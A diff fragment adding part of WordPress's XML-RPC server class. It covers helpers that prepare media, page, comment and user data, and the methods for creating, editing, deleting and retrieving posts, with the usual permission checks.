+			'description'      => $media_item->post_content,
+			'metadata'         => wp_get_attachment_metadata( $media_item->ID ),
+			'type'             => $media_item->post_mime_type
+		);
+
+		$thumbnail_src = image_downsize( $media_item->ID, $thumbnail_size );
+		if ( $thumbnail_src )
+			$_media_item['thumbnail'] = $thumbnail_src[0];
+		else
+			$_media_item['thumbnail'] = $_media_item['link'];
+
+		/**
+		 * Filters XML-RPC-prepared data for the given media item.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param array  $_media_item    An array of media item data.
+		 * @param object $media_item     Media item object.
+		 * @param string $thumbnail_size Image size.
+		 */
+		return apply_filters( 'xmlrpc_prepare_media_item', $_media_item, $media_item, $thumbnail_size );
+	}
+
+	/**
+	 * Prepares page data for return in an XML-RPC object.
+	 *
+	 *
+	 * @param object $page The unprepared page data.
+	 * @return array The prepared page data.
+	 */
+	protected function _prepare_page( $page ) {
+		// Get all of the page content and link.
+		$full_page = get_extended( $page->post_content );
+		$link = get_permalink( $page->ID );
+
+		// Get info the page parent if there is one.
+		$parent_title = "";
+		if ( ! empty( $page->post_parent ) ) {
+			$parent = get_post( $page->post_parent );
+			$parent_title = $parent->post_title;
+		}
+
+		// Determine comment and ping settings.
+		$allow_comments = comments_open( $page->ID ) ? 1 : 0;
+		$allow_pings = pings_open( $page->ID ) ? 1 : 0;
+
+		// Format page date.
+		$page_date = $this->_convert_date( $page->post_date );
+		$page_date_gmt = $this->_convert_date_gmt( $page->post_date_gmt, $page->post_date );
+
+		// Pull the categories info together.
+		$categories = array();
+		if ( is_object_in_taxonomy( 'page', 'category' ) ) {
+			foreach ( wp_get_post_categories( $page->ID ) as $cat_id ) {
+				$categories[] = get_cat_name( $cat_id );
+			}
+		}
+
+		// Get the author info.
+		$author = get_userdata( $page->post_author );
+
+		$page_template = get_page_template_slug( $page->ID );
+		if ( empty( $page_template ) )
+			$page_template = 'default';
+
+		$_page = array(
+			'dateCreated'            => $page_date,
+			'userid'                 => $page->post_author,
+			'page_id'                => $page->ID,
+			'page_status'            => $page->post_status,
+			'description'            => $full_page['main'],
+			'title'                  => $page->post_title,
+			'link'                   => $link,
+			'permaLink'              => $link,
+			'categories'             => $categories,
+			'excerpt'                => $page->post_excerpt,
+			'text_more'              => $full_page['extended'],
+			'mt_allow_comments'      => $allow_comments,
+			'mt_allow_pings'         => $allow_pings,
+			'wp_slug'                => $page->post_name,
+			'wp_password'            => $page->post_password,
+			'wp_author'              => $author->display_name,
+			'wp_page_parent_id'      => $page->post_parent,
+			'wp_page_parent_title'   => $parent_title,
+			'wp_page_order'          => $page->menu_order,
+			'wp_author_id'           => (string) $author->ID,
+			'wp_author_display_name' => $author->display_name,
+			'date_created_gmt'       => $page_date_gmt,
+			'custom_fields'          => $this->get_custom_fields( $page->ID ),
+			'wp_page_template'       => $page_template
+		);
+
+		/**
+		 * Filters XML-RPC-prepared data for the given page.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param array   $_page An array of page data.
+		 * @param WP_Post $page  Page object.
+		 */
+		return apply_filters( 'xmlrpc_prepare_page', $_page, $page );
+	}
+
+	/**
+	 * Prepares comment data for return in an XML-RPC object.
+	 *
+	 *
+	 * @param object $comment The unprepared comment data.
+	 * @return array The prepared comment data.
+	 */
+	protected function _prepare_comment( $comment ) {
+		// Format page date.
+		$comment_date_gmt = $this->_convert_date_gmt( $comment->comment_date_gmt, $comment->comment_date );
+
+		if ( '0' == $comment->comment_approved ) {
+			$comment_status = 'hold';
+		} elseif ( 'spam' == $comment->comment_approved ) {
+			$comment_status = 'spam';
+		} elseif ( '1' == $comment->comment_approved ) {
+			$comment_status = 'approve';
+		} else {
+			$comment_status = $comment->comment_approved;
+		}
+		$_comment = array(
+			'date_created_gmt' => $comment_date_gmt,
+			'user_id'          => $comment->user_id,
+			'comment_id'       => $comment->comment_ID,
+			'parent'           => $comment->comment_parent,
+			'status'           => $comment_status,
+			'content'          => $comment->comment_content,
+			'link'             => get_comment_link($comment),
+			'post_id'          => $comment->comment_post_ID,
+			'post_title'       => get_the_title($comment->comment_post_ID),
+			'author'           => $comment->comment_author,
+			'author_url'       => $comment->comment_author_url,
+			'author_email'     => $comment->comment_author_email,
+			'author_ip'        => $comment->comment_author_IP,
+			'type'             => $comment->comment_type,
+		);
+
+		/**
+		 * Filters XML-RPC-prepared data for the given comment.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param array      $_comment An array of prepared comment data.
+		 * @param WP_Comment $comment  Comment object.
+		 */
+		return apply_filters( 'xmlrpc_prepare_comment', $_comment, $comment );
+	}
+
+	/**
+	 * Prepares user data for return in an XML-RPC object.
+	 *
+	 *
+	 * @param WP_User $user   The unprepared user object.
+	 * @param array   $fields The subset of user fields to return.
+	 * @return array The prepared user data.
+	 */
+	protected function _prepare_user( $user, $fields ) {
+		$_user = array( 'user_id' => strval( $user->ID ) );
+
+		$user_fields = array(
+			'username'          => $user->user_login,
+			'first_name'        => $user->user_firstname,
+			'last_name'         => $user->user_lastname,
+			'registered'        => $this->_convert_date( $user->user_registered ),
+			'bio'               => $user->user_description,
+			'email'             => $user->user_email,
+			'nickname'          => $user->nickname,
+			'nicename'          => $user->user_nicename,
+			'url'               => $user->user_url,
+			'display_name'      => $user->display_name,
+			'roles'             => $user->roles,
+		);
+
+		if ( in_array( 'all', $fields ) ) {
+			$_user = array_merge( $_user, $user_fields );
+		} else {
+			if ( in_array( 'basic', $fields ) ) {
+				$basic_fields = array( 'username', 'email', 'registered', 'display_name', 'nicename' );
+				$fields = array_merge( $fields, $basic_fields );
+			}
+			$requested_fields = array_intersect_key( $user_fields, array_flip( $fields ) );
+			$_user = array_merge( $_user, $requested_fields );
+		}
+
+		/**
+		 * Filters XML-RPC-prepared data for the given user.
+		 *
+		 * @since 3.5.0
+		 *
+		 * @param array   $_user  An array of user data.
+		 * @param WP_User $user   User object.
+		 * @param array   $fields An array of user fields.
+		 */
+		return apply_filters( 'xmlrpc_prepare_user', $_user, $user, $fields );
+	}
+
+	/**
+	 * Create a new post for any registered post type.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @link https://en.wikipedia.org/wiki/RSS_enclosure for information on RSS enclosures.
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: top-level arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id        Blog ID (unused).
+	 *     @type string $username       Username.
+	 *     @type string $password       Password.
+	 *     @type array  $content_struct {
+	 *         Content struct for adding a new post. See wp_insert_post() for information on
+	 *         additional post fields
+	 *
+	 *         @type string $post_type      Post type. Default 'post'.
+	 *         @type string $post_status    Post status. Default 'draft'
+	 *         @type string $post_title     Post title.
+	 *         @type int    $post_author    Post author ID.
+	 *         @type string $post_excerpt   Post excerpt.
+	 *         @type string $post_content   Post content.
+	 *         @type string $post_date_gmt  Post date in GMT.
+	 *         @type string $post_date      Post date.
+	 *         @type string $post_password  Post password (20-character limit).
+	 *         @type string $comment_status Post comment enabled status. Accepts 'open' or 'closed'.
+	 *         @type string $ping_status    Post ping status. Accepts 'open' or 'closed'.
+	 *         @type bool   $sticky         Whether the post should be sticky. Automatically false if
+	 *                                      `$post_status` is 'private'.
+	 *         @type int    $post_thumbnail ID of an image to use as the post thumbnail/featured image.
+	 *         @type array  $custom_fields  Array of meta key/value pairs to add to the post.
+	 *         @type array  $terms          Associative array with taxonomy names as keys and arrays
+	 *                                      of term IDs as values.
+	 *         @type array  $terms_names    Associative array with taxonomy names as keys and arrays
+	 *                                      of term names as values.
+	 *         @type array  $enclosure      {
+	 *             Array of feed enclosure data to add to post meta.
+	 *
+	 *             @type string $url    URL for the feed enclosure.
+	 *             @type int    $length Size in bytes of the enclosure.
+	 *             @type string $type   Mime-type for the enclosure.
+	 *         }
+	 *     }
+	 * }
+	 * @return int|IXR_Error Post ID on success, IXR_Error instance otherwise.
+	 */
+	public function wp_newPost( $args ) {
+		if ( ! $this->minimum_args( $args, 4 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username       = $args[1];
+		$password       = $args[2];
+		$content_struct = $args[3];
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		// convert the date field back to IXR form
+		if ( isset( $content_struct['post_date'] ) && ! ( $content_struct['post_date'] instanceof IXR_Date ) ) {
+			$content_struct['post_date'] = $this->_convert_date( $content_struct['post_date'] );
+		}
+
+		// ignore the existing GMT date if it is empty or a non-GMT date was supplied in $content_struct,
+		// since _insert_post will ignore the non-GMT date if the GMT date is set
+		if ( isset( $content_struct['post_date_gmt'] ) && ! ( $content_struct['post_date_gmt'] instanceof IXR_Date ) ) {
+			if ( $content_struct['post_date_gmt'] == '0000-00-00 00:00:00' || isset( $content_struct['post_date'] ) ) {
+				unset( $content_struct['post_date_gmt'] );
+			} else {
+				$content_struct['post_date_gmt'] = $this->_convert_date( $content_struct['post_date_gmt'] );
+			}
+		}
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.newPost' );
+
+		unset( $content_struct['ID'] );
+
+		return $this->_insert_post( $user, $content_struct );
+	}
+
+	/**
+	 * Helper method for filtering out elements from an array.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param int $count Number to compare to one.
+	 */
+	private function _is_greater_than_one( $count ) {
+		return $count > 1;
+	}
+
+	/**
+	 * Encapsulate the logic for sticking a post
+	 * and determining if the user has permission to do so
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param array $post_data
+	 * @param bool  $update
+	 * @return void|IXR_Error
+	 */
+	private function _toggle_sticky( $post_data, $update = false ) {
+		$post_type = get_post_type_object( $post_data['post_type'] );
+
+		// Private and password-protected posts cannot be stickied.
+		if ( 'private' === $post_data['post_status'] || ! empty( $post_data['post_password'] ) ) {
+			// Error if the client tried to stick the post, otherwise, silently unstick.
+			if ( ! empty( $post_data['sticky'] ) ) {
+				return new IXR_Error( 401, __( 'Sorry, you cannot stick a private post.' ) );
+			}
+
+			if ( $update ) {
+				unstick_post( $post_data['ID'] );
+			}
+		} elseif ( isset( $post_data['sticky'] ) )  {
+			if ( ! current_user_can( $post_type->cap->edit_others_posts ) ) {
+				return new IXR_Error( 401, __( 'Sorry, you are not allowed to make posts sticky.' ) );
+			}
+
+			$sticky = wp_validate_boolean( $post_data['sticky'] );
+			if ( $sticky ) {
+				stick_post( $post_data['ID'] );
+			} else {
+				unstick_post( $post_data['ID'] );
+			}
+		}
+	}
+
+	/**
+	 * Helper method for wp_newPost() and wp_editPost(), containing shared logic.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @see wp_insert_post()
+	 *
+	 * @param WP_User         $user           The post author if post_author isn't set in $content_struct.
+	 * @param array|IXR_Error $content_struct Post data to insert.
+	 * @return IXR_Error|string
+	 */
+	protected function _insert_post( $user, $content_struct ) {
+		$defaults = array(
+			'post_status'    => 'draft',
+			'post_type'      => 'post',
+			'post_author'    => null,
+			'post_password'  => null,
+			'post_excerpt'   => null,
+			'post_content'   => null,
+			'post_title'     => null,
+			'post_date'      => null,
+			'post_date_gmt'  => null,
+			'post_format'    => null,
+			'post_name'      => null,
+			'post_thumbnail' => null,
+			'post_parent'    => null,
+			'ping_status'    => null,
+			'comment_status' => null,
+			'custom_fields'  => null,
+			'terms_names'    => null,
+			'terms'          => null,
+			'sticky'         => null,
+			'enclosure'      => null,
+			'ID'             => null,
+		);
+
+		$post_data = wp_parse_args( array_intersect_key( $content_struct, $defaults ), $defaults );
+
+		$post_type = get_post_type_object( $post_data['post_type'] );
+		if ( ! $post_type )
+			return new IXR_Error( 403, __( 'Invalid post type.' ) );
+
+		$update = ! empty( $post_data['ID'] );
+
+		if ( $update ) {
+			if ( ! get_post( $post_data['ID'] ) )
+				return new IXR_Error( 401, __( 'Invalid post ID.' ) );
+			if ( ! current_user_can( 'edit_post', $post_data['ID'] ) )
+				return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
+			if ( $post_data['post_type'] != get_post_type( $post_data['ID'] ) )
+				return new IXR_Error( 401, __( 'The post type may not be changed.' ) );
+		} else {
+			if ( ! current_user_can( $post_type->cap->create_posts ) || ! current_user_can( $post_type->cap->edit_posts ) )
+				return new IXR_Error( 401, __( 'Sorry, you are not allowed to post on this site.' ) );
+		}
+
+		switch ( $post_data['post_status'] ) {
+			case 'draft':
+			case 'pending':
+				break;
+			case 'private':
+				if ( ! current_user_can( $post_type->cap->publish_posts ) )
+					return new IXR_Error( 401, __( 'Sorry, you are not allowed to create private posts in this post type.' ) );
+				break;
+			case 'publish':
+			case 'future':
+				if ( ! current_user_can( $post_type->cap->publish_posts ) )
+					return new IXR_Error( 401, __( 'Sorry, you are not allowed to publish posts in this post type.' ) );
+				break;
+			default:
+				if ( ! get_post_status_object( $post_data['post_status'] ) )
+					$post_data['post_status'] = 'draft';
+			break;
+		}
+
+		if ( ! empty( $post_data['post_password'] ) && ! current_user_can( $post_type->cap->publish_posts ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to create password protected posts in this post type.' ) );
+
+		$post_data['post_author'] = absint( $post_data['post_author'] );
+		if ( ! empty( $post_data['post_author'] ) && $post_data['post_author'] != $user->ID ) {
+			if ( ! current_user_can( $post_type->cap->edit_others_posts ) )
+				return new IXR_Error( 401, __( 'Sorry, you are not allowed to create posts as this user.' ) );
+
+			$author = get_userdata( $post_data['post_author'] );
+
+			if ( ! $author )
+				return new IXR_Error( 404, __( 'Invalid author ID.' ) );
+		} else {
+			$post_data['post_author'] = $user->ID;
+		}
+
+		if ( isset( $post_data['comment_status'] ) && $post_data['comment_status'] != 'open' && $post_data['comment_status'] != 'closed' )
+			unset( $post_data['comment_status'] );
+
+		if ( isset( $post_data['ping_status'] ) && $post_data['ping_status'] != 'open' && $post_data['ping_status'] != 'closed' )
+			unset( $post_data['ping_status'] );
+
+		// Do some timestamp voodoo.
+		if ( ! empty( $post_data['post_date_gmt'] ) ) {
+			// We know this is supposed to be GMT, so we're going to slap that Z on there by force.
+			$dateCreated = rtrim( $post_data['post_date_gmt']->getIso(), 'Z' ) . 'Z';
+		} elseif ( ! empty( $post_data['post_date'] ) ) {
+			$dateCreated = $post_data['post_date']->getIso();
+		}
+
+		// Default to not flagging the post date to be edited unless it's intentional.
+		$post_data['edit_date'] = false;
+
+		if ( ! empty( $dateCreated ) ) {
+			$post_data['post_date'] = get_date_from_gmt( iso8601_to_datetime( $dateCreated ) );
+			$post_data['post_date_gmt'] = iso8601_to_datetime( $dateCreated, 'GMT' );
+
+			// Flag the post date to be edited.
+			$post_data['edit_date'] = true;
+		}
+
+		if ( ! isset( $post_data['ID'] ) )
+			$post_data['ID'] = get_default_post_to_edit( $post_data['post_type'], true )->ID;
+		$post_ID = $post_data['ID'];
+
+		if ( $post_data['post_type'] == 'post' ) {
+			$error = $this->_toggle_sticky( $post_data, $update );
+			if ( $error ) {
+				return $error;
+			}
+		}
+
+		if ( isset( $post_data['post_thumbnail'] ) ) {
+			// empty value deletes, non-empty value adds/updates.
+			if ( ! $post_data['post_thumbnail'] )
+				delete_post_thumbnail( $post_ID );
+			elseif ( ! get_post( absint( $post_data['post_thumbnail'] ) ) )
+				return new IXR_Error( 404, __( 'Invalid attachment ID.' ) );
+			set_post_thumbnail( $post_ID, $post_data['post_thumbnail'] );
+			unset( $content_struct['post_thumbnail'] );
+		}
+
+		if ( isset( $post_data['custom_fields'] ) )
+			$this->set_custom_fields( $post_ID, $post_data['custom_fields'] );
+
+		if ( isset( $post_data['terms'] ) || isset( $post_data['terms_names'] ) ) {
+			$post_type_taxonomies = get_object_taxonomies( $post_data['post_type'], 'objects' );
+
+			// Accumulate term IDs from terms and terms_names.
+			$terms = array();
+
+			// First validate the terms specified by ID.
+			if ( isset( $post_data['terms'] ) && is_array( $post_data['terms'] ) ) {
+				$taxonomies = array_keys( $post_data['terms'] );
+
+				// Validating term ids.
+				foreach ( $taxonomies as $taxonomy ) {
+					if ( ! array_key_exists( $taxonomy , $post_type_taxonomies ) )
+						return new IXR_Error( 401, __( 'Sorry, one of the given taxonomies is not supported by the post type.' ) );
+
+					if ( ! current_user_can( $post_type_taxonomies[$taxonomy]->cap->assign_terms ) )
+						return new IXR_Error( 401, __( 'Sorry, you are not allowed to assign a term to one of the given taxonomies.' ) );
+
+					$term_ids = $post_data['terms'][$taxonomy];
+					$terms[ $taxonomy ] = array();
+					foreach ( $term_ids as $term_id ) {
+						$term = get_term_by( 'id', $term_id, $taxonomy );
+
+						if ( ! $term )
+							return new IXR_Error( 403, __( 'Invalid term ID.' ) );
+
+						$terms[$taxonomy][] = (int) $term_id;
+					}
+				}
+			}
+
+			// Now validate terms specified by name.
+			if ( isset( $post_data['terms_names'] ) && is_array( $post_data['terms_names'] ) ) {
+				$taxonomies = array_keys( $post_data['terms_names'] );
+
+				foreach ( $taxonomies as $taxonomy ) {
+					if ( ! array_key_exists( $taxonomy , $post_type_taxonomies ) )
+						return new IXR_Error( 401, __( 'Sorry, one of the given taxonomies is not supported by the post type.' ) );
+
+					if ( ! current_user_can( $post_type_taxonomies[$taxonomy]->cap->assign_terms ) )
+						return new IXR_Error( 401, __( 'Sorry, you are not allowed to assign a term to one of the given taxonomies.' ) );
+
+					/*
+					 * For hierarchical taxonomies, we can't assign a term when multiple terms
+					 * in the hierarchy share the same name.
+					 */
+					$ambiguous_terms = array();
+					if ( is_taxonomy_hierarchical( $taxonomy ) ) {
+						$tax_term_names = get_terms( $taxonomy, array( 'fields' => 'names', 'hide_empty' => false ) );
+
+						// Count the number of terms with the same name.
+						$tax_term_names_count = array_count_values( $tax_term_names );
+
+						// Filter out non-ambiguous term names.
+						$ambiguous_tax_term_counts = array_filter( $tax_term_names_count, array( $this, '_is_greater_than_one') );
+
+						$ambiguous_terms = array_keys( $ambiguous_tax_term_counts );
+					}
+
+					$term_names = $post_data['terms_names'][$taxonomy];
+					foreach ( $term_names as $term_name ) {
+						if ( in_array( $term_name, $ambiguous_terms ) )
+							return new IXR_Error( 401, __( 'Ambiguous term name used in a hierarchical taxonomy. Please use term ID instead.' ) );
+
+						$term = get_term_by( 'name', $term_name, $taxonomy );
+
+						if ( ! $term ) {
+							// Term doesn't exist, so check that the user is allowed to create new terms.
+							if ( ! current_user_can( $post_type_taxonomies[$taxonomy]->cap->edit_terms ) )
+								return new IXR_Error( 401, __( 'Sorry, you are not allowed to add a term to one of the given taxonomies.' ) );
+
+							// Create the new term.
+							$term_info = wp_insert_term( $term_name, $taxonomy );
+							if ( is_wp_error( $term_info ) )
+								return new IXR_Error( 500, $term_info->get_error_message() );
+
+							$terms[$taxonomy][] = (int) $term_info['term_id'];
+						} else {
+							$terms[$taxonomy][] = (int) $term->term_id;
+						}
+					}
+				}
+			}
+
+			$post_data['tax_input'] = $terms;
+			unset( $post_data['terms'], $post_data['terms_names'] );
+		}
+
+		if ( isset( $post_data['post_format'] ) ) {
+			$format = set_post_format( $post_ID, $post_data['post_format'] );
+
+			if ( is_wp_error( $format ) )
+				return new IXR_Error( 500, $format->get_error_message() );
+
+			unset( $post_data['post_format'] );
+		}
+
+		// Handle enclosures.
+		$enclosure = isset( $post_data['enclosure'] ) ? $post_data['enclosure'] : null;
+		$this->add_enclosure_if_new( $post_ID, $enclosure );
+
+		$this->attach_uploads( $post_ID, $post_data['post_content'] );
+
+		/**
+		 * Filters post data array to be inserted via XML-RPC.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param array $post_data      Parsed array of post data.
+		 * @param array $content_struct Post data array.
+		 */
+		$post_data = apply_filters( 'xmlrpc_wp_insert_post_data', $post_data, $content_struct );
+
+		$post_ID = $update ? wp_update_post( $post_data, true ) : wp_insert_post( $post_data, true );
+		if ( is_wp_error( $post_ID ) )
+			return new IXR_Error( 500, $post_ID->get_error_message() );
+
+		if ( ! $post_ID )
+			return new IXR_Error( 401, __( 'Sorry, your entry could not be posted.' ) );
+
+		return strval( $post_ID );
+	}
+
+	/**
+	 * Edit a post for any registered post type.
+	 *
+	 * The $content_struct parameter only needs to contain fields that
+	 * should be changed. All other fields will retain their existing values.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id        Blog ID (unused).
+	 *     @type string $username       Username.
+	 *     @type string $password       Password.
+	 *     @type int    $post_id        Post ID.
+	 *     @type array  $content_struct Extra content arguments.
+	 * }
+	 * @return true|IXR_Error True on success, IXR_Error on failure.
+	 */
+	public function wp_editPost( $args ) {
+		if ( ! $this->minimum_args( $args, 5 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username       = $args[1];
+		$password       = $args[2];
+		$post_id        = (int) $args[3];
+		$content_struct = $args[4];
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.editPost' );
+
+		$post = get_post( $post_id, ARRAY_A );
+
+		if ( empty( $post['ID'] ) )
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+
+		if ( isset( $content_struct['if_not_modified_since'] ) ) {
+			// If the post has been modified since the date provided, return an error.
+			if ( mysql2date( 'U', $post['post_modified_gmt'] ) > $content_struct['if_not_modified_since']->getTimestamp() ) {
+				return new IXR_Error( 409, __( 'There is a revision of this post that is more recent.' ) );
+			}
+		}
+
+		// Convert the date field back to IXR form.
+		$post['post_date'] = $this->_convert_date( $post['post_date'] );
+
+		/*
+		 * Ignore the existing GMT date if it is empty or a non-GMT date was supplied in $content_struct,
+		 * since _insert_post() will ignore the non-GMT date if the GMT date is set.
+		 */
+		if ( $post['post_date_gmt'] == '0000-00-00 00:00:00' || isset( $content_struct['post_date'] ) )
+			unset( $post['post_date_gmt'] );
+		else
+			$post['post_date_gmt'] = $this->_convert_date( $post['post_date_gmt'] );
+
+		$this->escape( $post );
+		$merged_content_struct = array_merge( $post, $content_struct );
+
+		$retval = $this->_insert_post( $user, $merged_content_struct );
+		if ( $retval instanceof IXR_Error )
+			return $retval;
+
+		return true;
+	}
+
+	/**
+	 * Delete a post for any registered post type.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @see wp_delete_post()
+	 *
+	 * @param array  $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id  Blog ID (unused).
+	 *     @type string $username Username.
+	 *     @type string $password Password.
+	 *     @type int    $post_id  Post ID.
+	 * }
+	 * @return true|IXR_Error True on success, IXR_Error instance on failure.
+	 */
+	public function wp_deletePost( $args ) {
+		if ( ! $this->minimum_args( $args, 4 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username   = $args[1];
+		$password   = $args[2];
+		$post_id    = (int) $args[3];
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.deletePost' );
+
+		$post = get_post( $post_id, ARRAY_A );
+		if ( empty( $post['ID'] ) ) {
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+		}
+
+		if ( ! current_user_can( 'delete_post', $post_id ) ) {
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to delete this post.' ) );
+		}
+
+		$result = wp_delete_post( $post_id );
+
+		if ( ! $result ) {
+			return new IXR_Error( 500, __( 'The post cannot be deleted.' ) );
+		}
+
+		return true;
+	}
+
+	/**
+	 * Retrieve a post.
+	 *
+	 * @since 3.4.0
+	 *
+	 * The optional $fields parameter specifies what fields will be included
+	 * in the response array. This should be a list of field names. 'post_id' will
+	 * always be included in the response regardless of the value of $fields.
+	 *
+	 * Instead of, or in addition to, individual field names, conceptual group
+	 * names can be used to specify multiple fields. The available conceptual
+	 * groups are 'post' (all basic fields), 'taxonomies', 'custom_fields',
+	 * and 'enclosure'.
+	 *
+	 * @see get_post()
+	 *
+	 * @param array $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id  Blog ID (unused).
+	 *     @type string $username Username.
+	 *     @type string $password Password.
+	 *     @type int    $post_id  Post ID.
+	 *     @type array  $fields   The subset of post type fields to return.
+	 * }
+	 * @return array|IXR_Error Array contains (based on $fields parameter):
+	 *  - 'post_id'
+	 *  - 'post_title'
+	 *  - 'post_date'
+	 *  - 'post_date_gmt'
+	 *  - 'post_modified'
+	 *  - 'post_modified_gmt'
+	 *  - 'post_status'
+	 *  - 'post_type'
+	 *  - 'post_name'
+	 *  - 'post_author'
+	 *  - 'post_password'
+	 *  - 'post_excerpt'
+	 *  - 'post_content'
+	 *  - 'link'
+	 *  - 'comment_status'
+	 *  - 'ping_status'
+	 *  - 'sticky'
+	 *  - 'custom_fields'
+	 *  - 'terms'
+	 *  - 'categories'
+	 *  - 'tags'
+	 *  - 'enclosure'
+	 */
+	public function wp_getPost( $args ) {
+		if ( ! $this->minimum_args( $args, 4 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username = $args[1];
+		$password = $args[2];
+		$post_id  = (int) $args[3];
+
+		if ( isset( $args[4] ) ) {
+			$fields = $args[4];
+		} else {
+			/**
+			 * Filters the list of post query fields used by the given XML-RPC method.
+			 *
+			 * @since 3.4.0
+			 *
+			 * @param array  $fields Array of post fields. Default array contains 'post', 'terms', and 'custom_fields'.
+			 * @param string $method Method name.
+			 */
+			$fields = apply_filters( 'xmlrpc_default_post_fields', array( 'post', 'terms', 'custom_fields' ), 'wp.getPost' );
+		}
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getPost' );
+
+		$post = get_post( $post_id, ARRAY_A );
+
+		if ( empty( $post['ID'] ) )
+			return new IXR_Error( 404, __( 'Invalid post ID.' ) );
+
+		if ( ! current_user_can( 'edit_post', $post_id ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this post.' ) );
+
+		return $this->_prepare_post( $post, $fields );
+	}
+
+	/**
+	 * Retrieve posts.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @see wp_get_recent_posts()
+	 * @see wp_getPost() for more on `$fields`
+	 * @see get_posts() for more on `$filter` values
+	 *
+	 * @param array $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id  Blog ID (unused).
+	 *     @type string $username Username.
+	 *     @type string $password Password.
+	 *     @type array  $filter   Optional. Modifies the query used to retrieve posts. Accepts 'post_type',
+	 *                            'post_status', 'number', 'offset', 'orderby', 's', and 'order'.
+	 *                            Default empty array.
+	 *     @type array  $fields   Optional. The subset of post type fields to return in the response array.
+	 * }
+	 * @return array|IXR_Error Array contains a collection of posts.
+	 */
+	public function wp_getPosts( $args ) {
+		if ( ! $this->minimum_args( $args, 3 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username = $args[1];
+		$password = $args[2];
+		$filter   = isset( $args[3] ) ? $args[3] : array();
+
+		if ( isset( $args[4] ) ) {
+			$fields = $args[4];
+		} else {
+			/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+			$fields = apply_filters( 'xmlrpc_default_post_fields', array( 'post', 'terms', 'custom_fields' ), 'wp.getPosts' );
+		}
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
+		do_action( 'xmlrpc_call', 'wp.getPosts' );
+
+		$query = array();
+
+		if ( isset( $filter['post_type'] ) ) {
+			$post_type = get_post_type_object( $filter['post_type'] );
+			if ( ! ( (bool) $post_type ) )
+				return new IXR_Error( 403, __( 'Invalid post type.' ) );
+		} else {
+			$post_type = get_post_type_object( 'post' );
+		}
+
+		if ( ! current_user_can( $post_type->cap->edit_posts ) )
+			return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit posts in this post type.' ) );
+
+		$query['post_type'] = $post_type->name;
+
+		if ( isset( $filter['post_status'] ) )
+			$query['post_status'] = $filter['post_status'];
+
+		if ( isset( $filter['number'] ) )
+			$query['numberposts'] = absint( $filter['number'] );
+
+		if ( isset( $filter['offset'] ) )
+			$query['offset'] = absint( $filter['offset'] );
+
+		if ( isset( $filter['orderby'] ) ) {
+			$query['orderby'] = $filter['orderby'];
+
+			if ( isset( $filter['order'] ) )
+				$query['order'] = $filter['order'];
+		}
+
+		if ( isset( $filter['s'] ) ) {
+			$query['s'] = $filter['s'];
+		}
+
+		$posts_list = wp_get_recent_posts( $query );
+
+		if ( ! $posts_list )
+			return array();
+
+		// Holds all the posts data.
+		$struct = array();
+
+		foreach ( $posts_list as $post ) {
+			if ( ! current_user_can( 'edit_post', $post['ID'] ) )
+				continue;
+
+			$struct[] = $this->_prepare_post( $post, $fields );
+		}
+
+		return $struct;
+	}
+
+	/**
+	 * Create a new term.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @see wp_insert_term()
+	 *
+	 * @param array $args {
+	 *     Method arguments. Note: arguments must be ordered as documented.
+	 *
+	 *     @type int    $blog_id        Blog ID (unused).
+	 *     @type string $username       Username.
+	 *     @type string $password       Password.
+	 *     @type array  $content_struct Content struct for adding a new term. The struct must contain
+	 *                                  the term 'name' and 'taxonomy'. Optional accepted values include
+	 *                                  'parent', 'description', and 'slug'.
+	 * }
+	 * @return int|IXR_Error The term ID on success, or an IXR_Error object on failure.
+	 */
+	public function wp_newTerm( $args ) {
+		if ( ! $this->minimum_args( $args, 4 ) )
+			return $this->error;
+
+		$this->escape( $args );
+
+		$username       = $args[1];
+		$password       = $args[2];
+		$content_struct = $args[3];
+
+		if ( ! $user = $this->login( $username, $password ) )
+			return $this->error;
+
+		/** This action is documented in wp-includes/class-wp-xmlrpc-server.php */
